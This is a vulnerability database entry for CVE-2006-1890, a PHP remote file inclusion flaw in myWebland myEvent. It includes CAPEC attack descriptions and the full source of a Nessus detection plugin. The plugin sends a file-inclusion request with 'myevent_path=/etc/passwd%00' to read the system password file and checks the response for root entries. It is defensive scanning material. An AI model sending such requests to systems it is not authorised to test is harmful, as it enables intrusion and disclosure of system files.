Vulnerabilities > CVE-2006-1890 - Code Injection vulnerability in Mywebland Myevent 1.2/1.4

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
mywebland
CWE-94
nessus
NVD
Published: 2006-04-20
Updated: 2018-10-18

Summary

Multiple PHP remote file inclusion vulnerabilities in myWebland myEvent 1.2 allow remote attackers to execute arbitrary PHP code via a URL in the myevent_path parameter in (1) event.php and (2) initialize.php. NOTE: vector 2 was later reported to affect 1.4 as well.

Vulnerable Configurations

Part Description Count
Application
Mywebland
2

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Manipulating User-Controlled Variables
    This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

Nessus

NASL familyCGI abuses
NASL idMYEVENT_MULTIPLE_FLAWS.NASL
descriptionThe remote host is running myEvent, a calendar application written in PHP. The installed version of myEvent fails to sanitize user input to the
last seen2020-06-01
modified2020-06-02
plugin id21246
published2006-04-21
reporterThis script is Copyright (C) 2006-2018 Josh Zlatin-Amishav
sourcehttps://www.tenable.com/plugins/nessus/21246
titlemyEvent Multiple Remote Vulnerabilities
code
#
# (C) Josh Zlatin-Amishav (josh at ramat dot cc)
# GPLv2
#

# Changes by Tenable:
# - Revised plugin title (3/26/2009)


include("compat.inc");

if (description) {
  script_id(21246);
  script_version("1.20");

  script_cve_id("CVE-2006-1890", "CVE-2006-1907", "CVE-2006-1908");
  script_bugtraq_id(17575, 17580);

  script_name(english:"myEvent Multiple Remote Vulnerabilities");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by
multiple vulnerabilities." );
 script_set_attribute(attribute:"description", value:
"The remote host is running myEvent, a calendar application written in
PHP.

The installed version of myEvent fails to sanitize user input to the
'myevent_path' parameter in several scripts before using it to include
PHP code from other files.  An unauthenticated attacker may be able to
read arbitrary local files or include a file from a remote host that
contains commands which will be executed on the remote host subject to
the privileges of the web server process.

In addition, user input to the 'event_id' parameter in 'addevent.php'
and 'del.php', and to the 'event_desc' parameter in 'addevent.php' is
not properly sanitized before being used in a SQL query, which could
allow an attacker to insert arbitrary SQL statements in the remote
database.  A similar lack of sanitation involving the 'event_desc'
parameter of 'addevent.php' allows for cross-site scripting attacks
against the affected application.

These flaws are exploitable only if PHP's register_globals is enabled." );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2006/Apr/331" );
 script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:W/RC:ND");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);

 script_set_attribute(attribute:"plugin_publication_date", value: "2006/04/21");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/04/16");
 script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


  summary["english"] = "Checks for file includes in myevent.php";
  script_summary(english:summary["english"]);

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2020 Josh Zlatin-Amishav");

  script_dependencie("http_version.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_require_keys("www/PHP");
  exit(0);
}


include("http_func.inc");
include("global_settings.inc");
include("http_keepalive.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded:TRUE);
if (!get_port_state(port)) exit(0);
if (!can_host_php(port:port)) exit(0);

# Loop through CGI directories.
foreach dir (cgi_dirs()) {
  # Try to exploit the flaw in viewevent.php to read /etc/passwd.
  req = http_get(
    item:string(
      dir, "/myevent.php?",
      "myevent_path=/etc/passwd%00"
    ), 
    port:port
  );
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  if (res == NULL) exit(0);

  # There's a problem if...
  if (
    # It looks like myEvent and...
    'href="http://www.mywebland.com">myEvent' >< res  &&
    ( 
      # there's an entry for root or...
      egrep(pattern:"root:.*:0:[01]:", string:res) ||
      # we get an error saying "failed to open stream" or "Failed opening".
      #
      # nb: this suggests magic_quotes_gpc was enabled but passing 
      #     remote URLs might still work.
      egrep(string:res, pattern:"Warning.+/etc/passwd.+failed to open stream") ||
      egrep(string:res, pattern:"Warning.+ Failed opening '/etc/passwd.+for inclusion")
    )
  ) {
    if (egrep(pattern:"root:.*:0:[01]:", string:res)) {
      content = res;
      if (content) content = content - strstr(content, "<html>");
    }

    if (content)
    {
      content = data_protection::redact_etc_passwd(output:content);
      report = string(
        "Here are the contents of the file '/etc/passwd' that\n",
        "Nessus was able to read from the remote host :\n",
        "\n",
        content
      );
      security_hole(port:port, extra:report);
      set_kb_item(name: 'www/'+port+'/XSS', value:TRUE);
      exit(0);
    }

    security_hole(port:port);
    set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
    exit(0);
  }
}

References